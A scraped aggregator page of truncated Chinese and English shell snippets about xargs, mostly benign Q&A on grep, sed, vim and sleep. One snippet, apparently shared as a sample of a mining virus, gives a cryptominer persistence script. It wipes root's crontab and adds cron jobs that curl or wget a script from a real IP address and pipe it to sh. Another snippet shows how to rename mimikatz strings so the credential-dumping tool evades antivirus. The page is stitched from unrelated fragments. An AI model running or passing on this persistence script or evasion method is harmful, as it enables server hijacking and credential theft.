xargs

关于mimikatz lazagne免杀方法

蓝咒 提交于 2019-12-03 02:53:45
其实现在的杀软还是玩的老一套,改改特征字符就能过了,最新的defender能用这个方法过 git clone https://github.com/gentilkiwi/mimikatz.git lmmg mv lmmg/mimikatz lmmg/lmmg find lmmg/ -type f -name '*mimikatz*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/mimikatz/windows/g')"; mv "${FILE}" "${newfile}"; done find lmmg/ -type f -name '*kiwi*' | while read FILE ; do newfile="$(echo ${FILE} |sed -e 's/kiwi/onedrive/g')"; mv "${FILE}" "${newfile}"; done find lmmg/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g' find lmmg/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g' find lmmg/ -type f -print0 | xargs -0

Using grep and sed to find and replace a string

匿名 (未验证) 提交于 2019-12-03 01:54:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I am using the following to search a directory recursively for specific string and replace it with another: grep -rl oldstr path | xargs sed -i 's/oldstr/newstr/g' This works okay. The only problem is that if the string doesn't exist then sed fails because it doesn't get any arguments. This is a problem for me since i'm running this automatically with ANT and the build fails since sed fails. Is there a way to make it fail-proof in case the string is not found? I'm interested in a one line simple solution I can use (not necessarily with grep

using xargs vim with gnu screen

匿名 (未验证) 提交于 2019-12-03 01:39:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 问题: I've got a weird problem where if i do something like this in a gnu screen window, that window starts responding in weird ways ls *.cpp | xargs vim After I exit from vim, the screen window doesn't echo any command. It even does not echo CR. Any suggestions? 回答1: Piping changes vim's stdin and causes problems. Try this instead (for bash, zsh, etc.): vim $(find . -name "*.cpp") 回答2: How about vim *.cpp ? Maybe for file in *.cpp; do vim "$file"; done could work too. Edit each file and exit. Or start vim and add all cpp files with following

How to sleep for 1 second between each xargs command?

纵饮孤独 提交于 2019-12-03 01:37:56
For example, if I execute ps aux | awk '{print $1}' | xargs -I {} echo {} I want to let the shell sleep for 1 second between each echo . How can I change my shell command? You can use following syntax: ps aux | awk '{print $1}' | xargs -I % sh -c '{ echo %; sleep 1; }' Be careful with spaces and semicolons though. After every command between brackets, semicolon is required (even after last one). Replace echo by some shell script named sleepecho containing #!/bin/sh sleep 1 echo $* If your awk supports it: ps aux | awk '{ system("sleep 1"); print $1 }' | xargs -I {} echo {}q or skip awk and

xargs doesn't recognize bash aliases

匿名 (未验证) 提交于 2019-12-03 01:29:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 由 翻译 强力驱动 问题: I'm trying to run the following command: find . - iname '.#*' - print0 | xargs - 0 - L 1 foobar where "foobar" is an alias or function defined in my .bashrc file (in my case, it's a function that takes one parameter). Apparently xargs doesn't recognize these as things it can run. Is there a clever way to remedy this? 回答1: Since only your interactive shell knows about aliases, why not just run the alias without forking out through xargs ? find . - iname '.#*' - print0 | while read - r - d '' i ; do foobar "$i" ; done If you're sure

Delete files with string found in file - linux cli

匿名 (未验证) 提交于 2019-12-03 01:27:01
可以将文章内容翻译成中文,广告屏蔽插件可能会导致该功能失效(如失效,请关闭广告屏蔽插件后再试): 由 翻译 强力驱动 问题: I am trying to delete erroneous emails based on finding the email address in the file via Linux CLI. I can get the files with find . | xargs grep -l email@domain.com But I cannot figure out how to delete them from there as the following code doesn't work. rm -f | xargs find . | xargs grep -l email@domain.com Thank you for your assistance. 回答1: For safety I normally pipe the output from find to something like awk and create a batch file with each line being "rm filename" That way you can check it before actually running it and

挖矿病毒

匿名 (未验证) 提交于 2019-12-02 22:56:40
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/crontabs/root echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root ps auxf | grep -v grep | grep /tmp/ddgs.3014 || rm

CentOS7.4.1708下的 python和yum卸载的后的修复安装

匿名 (未验证) 提交于 2019-12-02 22:54:36
一.读取CentOS的版本号 二.转载部分,具体操作 1、删除现有Python [root@ test ~] # rpm -qa|grep python|xargs rpm -ev --allmatches --nodeps ##强制删除已安装程序及其关联 [root@ test ~] # whereis python |xargs rm -frv ##删除所有残余文件 ##xargs,允许你对输出执行其他某些命令 [root@ test ~] # whereis python ##验证删除,返回无结果 2、删除现有的yum [root@ test ~] # rpm -qa|grep yum|xargs rpm -ev --allmatches --nodeps [root@ test ~] # whereis yum |xargs rm -frv 3、所需包,请到http://vault.centos.org/7.4.1708/os/x86_64/Packages/找到相应的包名,可能版本号不一样所以建议不要整个包名直接搜索。 python-2.6.6-36.el6.x86_64.rpm python-devel-2.6.6-36.el6.x86_64.rpm python-libs-2.6.6-36.el6.x86_64.rpm python-pycurl-7.19.0-8

Shell的18条常用命令整理

无人久伴 提交于 2019-12-02 22:31:54
Shell的18条常用命令整理 1、 ls: 类似于dos下的dir命令 ls最常用的参数有三个: -a -l -F。 ls –a Linux上的文件以.开头的文件被系统视为隐藏文件,仅用ls命令是看不到他们的,而用ls -a除了显示一般文件名外,连隐藏文件也会显示出来。 ls –l 该参数显示更详细的文件信息。 ls –F 使用这个参数表示在文件的后面多添加表示文件类型的符号,例如*表示可执行,/表示目录,@表示连结文件,这都是因为使用了-F这个参数。但是现在基本上所有的Linux发行版本的ls都已经内建了-F参数,也就是说,不用输入这个参数,我们也能看到各种分辨符号。 2、cd: 用于切换用户当前工作目录 cd aaa 进入aaa目录 cd 命令后不指定目录,会切换到当前用户的home 目录 cd ~ 作用同cd后不指定目录,切换到当前用户的home 目录 cd - 命令后跟一个减号,则会退回到切换前的目录 cd .. 返回到当前目录下的上一级目录 3、pwd:用于显示用户当前工作目录 4、mkdir 和 rmdir midir:创建目录 rmdir:删除目录 两个命令都支持-p参数,对于mkdir命令若指定路径的父目录不存在则一并创建,对于rmdir命令则删除指定路径的所有层次目录,如果文件夹里有内容,则不能用rmdir命令 如下: mkdir -p 1/2/3 rmdir